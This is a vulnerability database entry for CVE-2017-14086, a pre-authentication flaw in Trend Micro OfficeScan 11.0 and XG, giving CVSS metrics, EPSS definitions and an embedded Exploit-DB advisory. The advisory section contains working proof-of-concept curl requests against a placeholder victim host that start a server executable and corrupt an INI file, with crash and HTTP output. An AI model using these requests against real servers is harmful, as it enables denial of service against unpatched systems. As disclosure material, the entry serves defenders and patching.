CVE-2017-14086 : Detail

CVE-2017-14086

7.5
/
High
2.5%V3
Network
2017-10-05
11h00 +00:00
2018-10-09
16h57 +00:00
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CVE Descriptions

Pre-authorization Start Remote Process vulnerabilities in Trend Micro OfficeScan 11.0 and XG may allow unauthenticated users who can access the OfficeScan server to start the fcgiOfcDDA.exe executable or cause a potential INI corruption, which may cause the server disk space to be consumed with dump files from continuous HTTP requests.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42892

Publication date : 2017-09-27 22h00 +00:00
Author : hyp3rlinx
EDB Verified : Yes

[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14086-TRENDMICRO-OFFICESCAN-XG-PRE-AUTH-START-REMOTE-PROCESS-CODE-EXECUTION-MEM-CORRUPT.txt [+] ISR: ApparitionSec Vendor: ================== www.trendmicro.com Product: ======== OfficeScan XG v11.0 and (12.0)* Vulnerability Type: =================== Unauthorized Start Remote Process Code Execution Unauthorized Denial Of Service - INI Corruption OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks. An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent. CVE Reference: ============== CVE-2017-14086 Security Issue: ================ Remote unauthenticated attackers who connect to the OfficeScan XG application can temporarily start the "fcgiOfcDDA.exe" executable this process will run for short time before dies, server disk space may also be consumed with dump files by making continous HTTP requests. References: =========== https://success.trendmicro.com/solution/1118372 Exploit/POC Start Remote Process Code Execution: ================================================ c:\> curl -k https://VICTIM-IP:4343/officescan/console/CGI/ HTTP response: 403 - Forbidden: Access is denied. You do not have permission to view this directory or page using the credentials that you supplied But, we can access it directly :) c:\> curl -v -k https://VICTIM-IP:4343/officescan/console/CGI/fcgiOfcDDA.exe HTTP Response: 500 - Internal server error. There is a problem with the resource you are looking for, and it cannot be displayed. The EXE is called then runs for short time before .DMP is generated. fcgiOfcDDA.exe.6808.dmp The stored exception information can be accessed via .ecxr. (568.112c): Unknown exception - code c000000d (first/second chance not available) *** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll - eax=00000000 ebx=0014f780 ecx=00000000 edx=00000000 esi=00000002 edi=00000000 eip=77d9016d esp=0014f730 ebp=0014f7cc iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!NtWaitForMultipleObjects+0x15: Exploit/POC (Denial Of Service / INI Corruption): ================================================== [root@localhost /]# curl -v -k https://VICTIM-IP:4343/officescan/CGI/cgiRqUpd.exe * About to connect() to VICTIM-IP port 4343 * Trying VICTIM-IP.. connected <HTTP/1.1 200 OK < Pragma: no-cache < Content-Type: text/plain;charset=iso-8859-1 < Server: Microsoft-IIS/7.5 < X-Powered-By: ASP.NET < Date: Fri, 02 Jun 2017 18:00:36 GMT < Connection: close < Content-Length: 22 [INI_UPDATE_SECTION] BOOOM! Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: June 2, 2017 Vendor releases fixes / advisory : September 27, 2017 September 28, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Products Mentioned

Configuraton 0

Trendmicro>>Officescan >> Version 11.0

Trendmicro>>Officescan >> Version 12.0

References

https://www.exploit-db.com/exploits/42892/
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2017/Sep/88
Tags : mailing-list, x_refsource_FULLDISC
http://www.securitytracker.com/id/1039500
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/101076
Tags : vdb-entry, x_refsource_BID